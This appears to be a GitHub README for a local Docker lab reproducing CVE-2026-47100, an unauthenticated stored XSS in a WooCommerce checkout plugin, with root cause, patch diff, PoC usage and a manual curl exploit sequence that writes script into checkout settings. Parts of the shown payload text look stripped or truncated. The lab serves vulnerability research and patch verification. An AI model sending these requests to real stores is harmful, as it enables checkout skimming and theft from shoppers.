rootdirective-sec/CVE-2026-47100-Analysis-Lab

GitHub: rootdirective-sec/CVE-2026-47100-Analysis-Lab

Stars: 0 | Forks: 0

# CVE-2026-47100 — FunnelKit / Funnel Builder for WooCommerce Checkout Stored XSS Lab ## 1. Overview CVE-2026-47100 is a missing authorization vulnerability in **Funnel Builder / FunnelKit for WooCommerce Checkout** before version **3.15.0.3**. The vulnerable checkout AJAX flow allows an unauthenticated visitor to invoke an internal plugin method and write data into FunnelKit's built-in global external script setting. Because that setting is later rendered on FunnelKit checkout pages, the issue can become **unauthenticated Stored XSS on checkout pages**. This repository reproduces the issue locally using two Docker services: | Service | Version | URL | Expected result | | --------- | -------: | ----------------------- | ----------------------------------- | | `vuln` | 3.15.0.2 | `http://127.0.0.1:8081` | vulnerable behavior confirmed | | `patched` | 3.15.0.3 | `http://127.0.0.1:8082` | write blocked / marker not rendered | ## 2. Vulnx Discovery Screenshot ![vulnx](/images/vulnx.png) ## 3. Impact An unauthenticated attacker can abuse the public checkout AJAX flow to persist JavaScript into FunnelKit's global external script setting. In a real WooCommerce store, this could allow malicious JavaScript to run in the browser of users visiting the checkout page. Public reporting has linked this vulnerability class to checkout skimming campaigns. This lab intentionally uses only a harmless proof marker: ## 4. Root Cause The vulnerable version accepts user-controlled checkout data from the public WooCommerce AJAX endpoint: /?wc-ajax=update_order_review Inside the FunnelKit checkout flow, the request can include: wfacp_input_hidden_data={"action":"update_global_settings_fields", ...} The vulnerable logic checks whether the supplied action name exists as a class method. If the method exists, it can be invoked from the public checkout flow. Simplified vulnerable behavior: if ( method_exists( __CLASS__, $action ) ) { self::$output_resp = self::$action( $input_data ); } The important attacker-controlled action is: update_global_settings_fields That method updates the WordPress option: _wfacp_global_settings and specifically the built-in FunnelKit key: wfacp_global_external_script The stored value is later read by the checkout template and rendered on the checkout page. This creates the Stored XSS condition. Exploit chain: Unauthenticated checkout visitor → public WooCommerce update_order_review AJAX → attacker-controlled wfacp_input_hidden_data[action] → update_global_settings_fields() → update_option('_wfacp_global_settings') → wfacp_global_external_script rendered on checkout page → Stored XSS ## 5. Patch Summary Version **3.15.0.3** hardens the vulnerable path with two important changes. ### 5.1 Public action allow-list The patched version restricts which checkout actions can be invoked from the public checkout flow. Simplified patched behavior: $allowed_actions = array( 'update_cart_item_quantity', 'update_cart_multiple_page', 'remove_cart_item', 'undo_cart_item', 'prep_fees', ); if ( is_string( $action ) && in_array( $action, $allowed_actions, true ) && method_exists( __CLASS__, $action ) ) { self::$output_resp = self::$action( $input_data ); } This prevents arbitrary internal methods such as `update_global_settings_fields` from being dispatched by unauthenticated checkout requests. ### 5.2 Capability check before settings update The patched version also adds an authorization check before global settings can be updated: if ( ! current_user_can( 'manage_woocommerce' ) ) { return $resp; } This means the global external script setting should only be writable by users with WooCommerce management privileges. ## 6. Lab Architecture host ├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2 └── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3 The seed process creates: Lab Product - WooCommerce product used to create a valid cart/session - expected product ID in clean lab: 10 Lab Funnel Checkout - FunnelKit checkout page used to trigger the checkout AJAX flow - expected checkout post ID in clean lab: 11 The lab uses a deterministic checkout URL: /?post_type=wfacp_checkout&p=11 ## 7. Running the Lab Start the lab: docker compose up -d --build Check services: docker compose ps Expected services: vuln http://127.0.0.1:8081 patched http://127.0.0.1:8082 Install Python dependencies: python3 -m venv .venv . .venv/bin/activate pip install requests ## 8. PoC Scripts ### 8.1 Lab PoC `poc/poc_lab.py` is the deterministic lab PoC. It assumes the local Docker seed values: product_id = 10 checkout_post_id = 11 Run against the vulnerable service: python3 poc/poc_lab.py http://127.0.0.1:8081 Expected result: [*] AJAX action: update_global_settings_fields [*] AJAX status: True [*] AJAX msg: Changes saved [*] Marker rendered in HTML: True === Result === likely_vulnerable: True [+] Vulnerable behavior confirmed. Run against the patched service: python3 poc/poc_lab.py http://127.0.0.1:8082 Expected result: [*] AJAX action: update_global_settings_fields [*] AJAX status: None [*] AJAX msg: None [*] Marker rendered in HTML: False === Result === likely_vulnerable: False [-] Vulnerable behavior was not confirmed. [-] On patched targets this is expected. ### 8.2 Generic Authorized Self-Test Tool `poc/poc_check.py` is a more portable authorized self-test tool. Passive check only: python3 poc/poc_check.py \ --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" Active authorized check: python3 poc/poc_check.py \ --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \ --product-id 10 \ --active \ --i-am-authorized Marker-only mode without alert: python3 poc/poc_check.py \ --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \ --product-id 10 \ --active \ --i-am-authorized \ --marker-only Cleanup attempt: python3 poc/poc_check.py \ --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \ --product-id 10 \ --active \ --i-am-authorized \ --cleanup ## 9. Manual Test ### 9.1 Vulnerable service Create a fresh WooCommerce session and add the lab product to cart: rm -f /tmp/cve47100-vuln.cookies curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \ "http://127.0.0.1:8081/?add-to-cart=10" >/dev/null Fetch the FunnelKit checkout page and extract the WooCommerce checkout nonce: CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \ "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11") NONCE=$(printf '%s' "$CHECKOUT_HTML" \ | grep -oE '"update_order_review_nonce":"[^"]+"' \ | head -n1 \ | cut -d: -f2 \ | tr -d '"') echo "NONCE=$NONCE" Send the crafted checkout AJAX request: curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \ -c /tmp/cve47100-vuln.cookies \ -b /tmp/cve47100-vuln.cookies \ -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \ --data-urlencode "security=${NONCE}" \ --data-urlencode "payment_method=cod" \ --data-urlencode "country=TH" \ --data-urlencode "state=" \ --data-urlencode "postcode=10110" \ --data-urlencode "city=Bangkok" \ --data-urlencode "address=Lab Street" \ --data-urlencode "address_2=" \ --data-urlencode "s_country=TH" \ --data-urlencode "s_state=" \ --data-urlencode "s_postcode=10110" \ --data-urlencode "s_city=Bangkok" \ --data-urlencode "s_address=Lab Street" \ --data-urlencode "s_address_2=" \ --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":""}}' Verify the option was written: docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json Expected result: { "wfacp_global_external_script": ""}}' Verify the option remains unchanged: docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json Expected result: [] Verify the marker is not rendered: curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \ | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}' Expected result: no output. ## 10. Evidence Summary The vulnerable service confirms the issue when all of the following are true: AJAX action: update_global_settings_fields AJAX status: True AJAX msg: Changes saved Marker rendered in HTML: True The patched service confirms the fix when: AJAX action: update_global_settings_fields AJAX status: None AJAX msg: None Marker rendered in HTML: False _wfacp_global_settings remains [] ## 11. Safety Notes This repository is for local, authorized security research only. Allowed scope: localhost 127.0.0.1 Docker Compose lab network systems you own or have explicit written permission to test Not allowed: payment skimming cookie theft token theft credential harvesting external exfiltration unauthorized testing of third-party stores The PoC uses a harmless alert and marker only. ## 12. References * CVE Record: [https://www.cve.org/CVERecord?id=CVE-2026-47100](https://www.cve.org/CVERecord?id=CVE-2026-47100) * NVD: [https://nvd.nist.gov/vuln/detail/CVE-2026-47100](https://nvd.nist.gov/vuln/detail/CVE-2026-47100) * VulnCheck Advisory: [https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax](https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax) * Sansec Research: [https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited](https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited) * WordPress Trac changeset: [https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php](https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php)